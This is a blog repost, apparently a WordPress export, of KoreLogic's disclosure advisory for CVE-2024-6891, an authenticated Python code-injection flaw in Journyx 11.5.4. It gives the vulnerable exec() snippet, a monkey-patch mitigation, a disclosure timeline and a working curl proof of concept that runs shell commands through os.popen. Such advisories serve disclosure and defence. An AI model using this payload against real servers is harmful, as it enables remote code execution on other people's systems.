{"id":58711,"date":"2024-08-08T19:40:01","date_gmt":"2024-08-08T16:40:01","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180002\/KL-001-2024-008.txt"},"modified":"2024-08-08T19:40:01","modified_gmt":"2024-08-08T16:40:01","slug":"journyx-11-5-4-authenticated-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/journyx-11-5-4-authenticated-remote-code-execution\/","title":{"rendered":"Journyx 11.5.4 Authenticated Remote Code Execution"},"content":{"rendered":"<p>KL-001-2024-008: Journyx Authenticated Remote Code Execution<\/p>\n<p>Title: Journyx Authenticated Remote Code Execution<br \/>Advisory ID: KL-001-2024-008<br \/>Publication Date: 2024.08.07<br \/>Publication URL: https:\/\/korelogic.com\/Resources\/Advisories\/KL-001-2024-008.txt<\/p>\n<p>1. Vulnerability Details<\/p>\n<p>Affected Vendor: Journyx<br \/>Affected Product: Journyx (jtime)<br \/>Affected Version: 11.5.4<br \/>Platform: GNU\/Linux<br \/>CWE Classification: CWE-94: Improper Control of Generation of Code<br \/>(&#8216;Code Injection&#8217;), CWE-95: Improper Neutralization<br \/>of Directives in Dynamically Evaluated Code<br \/>(&#8216;Eval Injection&#8217;)<br \/>CVE ID: CVE-2024-6891<\/p>\n<p>2. Vulnerability Description<\/p>\n<p>Attackers with a valid username and password can exploit<br \/>a python code injection vulnerability during the natural<br \/>login flow.<\/p>\n<p>3. Technical Description<\/p>\n<p>When utilizing a username and password to authenticate to<br \/>Journyx via the web interface, an HTTP request is sent to<br \/>&#8220;wtlogin.pyc&#8221; containing the credentials. Upon a successful<br \/>login, the user is redirected to &#8220;wte.pyc&#8221; or the URL specified<br \/>in the &#8220;end_URL&#8221; body parameter if one is supplied.<\/p>\n<p>An additional condition is present, however. If the<br \/>&#8220;end_URL&#8221; value is over 1,000 characters, the value is instead<br \/>interpolated into a python &#8220;import&#8221; statement which is passed<br \/>into the &#8220;exec()&#8221; function, thereby executing arbitrary code.<\/p>\n<p>Code snippet from &#8220;wtlogin.pyc&#8221;:<\/p>\n<p>finalURL = end_URL + &#8216;.pyc?&#8217; + genlib.URLEncodeParams(params)<br \/>if len(finalURL) &lt; 1000:<br \/>raise genlib.HTTP302Found(finalURL)<br \/>else:<br \/>exec(&#8216;import %s; %s.main()&#8217; % (end_URL, end_URL))<\/p>\n<p>The &#8220;params&#8221; variable is derived from the query parameters<br \/>included in the login request, so the size of &#8220;finalURL&#8221;<br \/>is trivial to inflate.<\/p>\n<p>4. Mitigation and Remediation Recommendation<\/p>\n<p>The vendor reports that this issue was remediated in Journyx<br \/>v12.0.0, which is the first wholly cloud-hosted version of<br \/>this product.<\/p>\n<p>For self-hosted instances of JournyX, additional security<br \/>measures (such as input sanitization) can be added by monkey<br \/>patching the PYC file responsible for handling request<br \/>parameters (mycgi.pyc).<\/p>\n<p>1) Rename &#8220;mycgi.pyc&#8221; to an alternative name, e.g. mycgi_original.pyc.<br \/>$ mv wt_tar\/pi\/pylib\/wtlib\/mycgi.py wt_tar\/pi\/pylib\/wtlib\/mycgi_original.py<\/p>\n<p>2) Create a file named &#8220;mycgi.py&#8221; in the same directory.<br \/>$ touch wt_tar\/pi\/pylib\/wtlib\/mycgi.py<\/p>\n<p>3) Insert the following code into the newly created &#8220;mycgi.py&#8221;<\/p>\n<p>from mycgi_original import *<br \/>from html import escape<\/p>\n<p>def patch():<br \/>pdata = _parse()<\/p>\n<p># force the value of &#8220;end_URL&#8221; to always be &#8220;wte&#8221;<br \/>if pdata.get(&#8216;end_URL&#8217;): pdata[&#8216;end_URL&#8217;] = [&#8216;wte&#8217;]\n<p># sanitize user-controlled error messages<br \/>for parameter in [&#8216;error&#8217;, &#8216;error_description&#8217;]:<br \/>if not pdata.get(parameter): continue<br \/>pdata[parameter] = [escape(value) for value in pdata[parameter]]\n<p>return pdata<\/p>\n<p>_parse = parse<br \/>parse = patch<\/p>\n<p>Once these changes have been made, the JournyX native &#8220;mycgi.parse()&#8221;<br \/>function will be overwritten with the &#8220;patch()&#8221; function located in the<br \/>&#8220;mycgi.py&#8221; file. Relevant to this advisory, the patch provided above<br \/>will force the &#8220;end_URL&#8221; parameter to always have a value of &#8220;wte&#8221;.<\/p>\n<p>5. Credit<\/p>\n<p>This vulnerability was discovered by Jaggar Henry of KoreLogic, Inc.<\/p>\n<p>6. Disclosure Timeline<\/p>\n<p>2024.01.31 &#8211; KoreLogic notifies Journyx support of the intention to<br \/>report vulnerabilities discovered in the licensed,<br \/>on-premises version of the product.<br \/>2024.01.31 &#8211; Journyx acknowledges receipt.<br \/>2024.02.02 &#8211; KoreLogic requests a meeting with Journyx support to share<br \/>vulnerability details.<br \/>2024.02.07 &#8211; KoreLogic reports vulnerability details to Journyx.<br \/>2024.02.09 &#8211; Journyx responds that this vulnerability has been remediated<br \/>in the cloud-hosted version of the product.<br \/>2024.02.21 &#8211; KoreLogic offers to test the cloud version to confirm<br \/>the fix; no response.<br \/>2024.07.01 &#8211; KoreLogic notifies Journyx of impending public disclosure.<br \/>2024.07.09 &#8211; Journyx confirms version number of the remediation.<br \/>2024.08.07 &#8211; KoreLogic public disclosure.<\/p>\n<p>7. Proof of Concept<\/p>\n<p>By leveraging the existing &#8220;web&#8221; python module, it is possible<br \/>to see the output of shell commands as returned by &#8220;os.popen()&#8221;.<\/p>\n[attacker@box]$ HOST=&#8217;redacted.com&#8217;; PORT=&#8217;8080&#8242;; USERNAME=&#8217;employee&#8217;; PASSWORD=&#8217;password123&#8242;; COMMAND=&#8217;id&#8217;; \\<br \/>curl -x http:\/\/localhost:8080 -X POST \\<br \/>-d <br \/>&#8220;wtusername=$USERNAME&amp;wtpassword=$PASSWORD&amp;end_URL=os,web%0aweb.response.text%3dos.popen(&#8216;$COMMAND&#8217;).read()#&amp;timestamp=9999999999&amp;pageid=$RANDOM&#8221; <br \/>\\<br \/>-H &#8216;Cookie: wtsession=foobar&#8217; \\<br \/>&#8220;http:\/\/$HOST:$PORT\/jtcgi\/wtlogin.pyc?z=$(printf &#8216;Z%.0s&#8217; {1..1000})&#8221;<\/p>\n<p>uid=1000(foo) gid=1000(foo) <br \/>groups=1000(foo),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),135(lxd),136(sambashare)<br \/>[attacker@box]$<\/p>\n<p>The contents of this advisory are copyright(c) 2024<br \/>KoreLogic, Inc. and are licensed under a Creative Commons<br \/>Attribution Share-Alike 4.0 (United States) License:<br \/>http:\/\/creativecommons.org\/licenses\/by-sa\/4.0\/<\/p>\n<p>KoreLogic, Inc. is a founder-owned and operated company with a<br \/>proven track record of providing security services to entities<br \/>ranging from Fortune 500 to small and mid-sized companies. We<br \/>are a highly skilled team of senior security consultants doing<br \/>by-hand security assessments for the most important networks in<br \/>the U.S. and around the world. We are also developers of various<br \/>tools and resources aimed at helping the security community.<br \/>https:\/\/www.korelogic.com\/about-korelogic.html<\/p>\n<p>Our public vulnerability disclosure policy is available at:<br \/>https:\/\/korelogic.com\/KoreLogic-Public-Vulnerability-Disclosure-Policy<\/p>\n","protected":false},"excerpt":{"rendered":"<p>KL-001-2024-008: Journyx Authenticated Remote Code Execution Title: Journyx Authenticated Remote Code ExecutionAdvisory ID: KL-001-2024-008Publication Date: 2024.08.07Publication URL: https:\/\/korelogic.com\/Resources\/Advisories\/KL-001-2024-008.txt 1. Vulnerability Details Affected Vendor: JournyxAffected Product: Journyx (jtime)Affected Version: 11.5.4Platform: GNU\/LinuxCWE Classification: CWE-94: Improper Control of Generation of Code(&#8216;Code Injection&#8217;), CWE-95: Improper Neutralizationof Directives in Dynamically Evaluated Code(&#8216;Eval Injection&#8217;)CVE ID: CVE-2024-6891 2. Vulnerability Description Attackers with &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-58711","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58711","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=58711"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/58711\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=58711"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=58711"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=58711"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}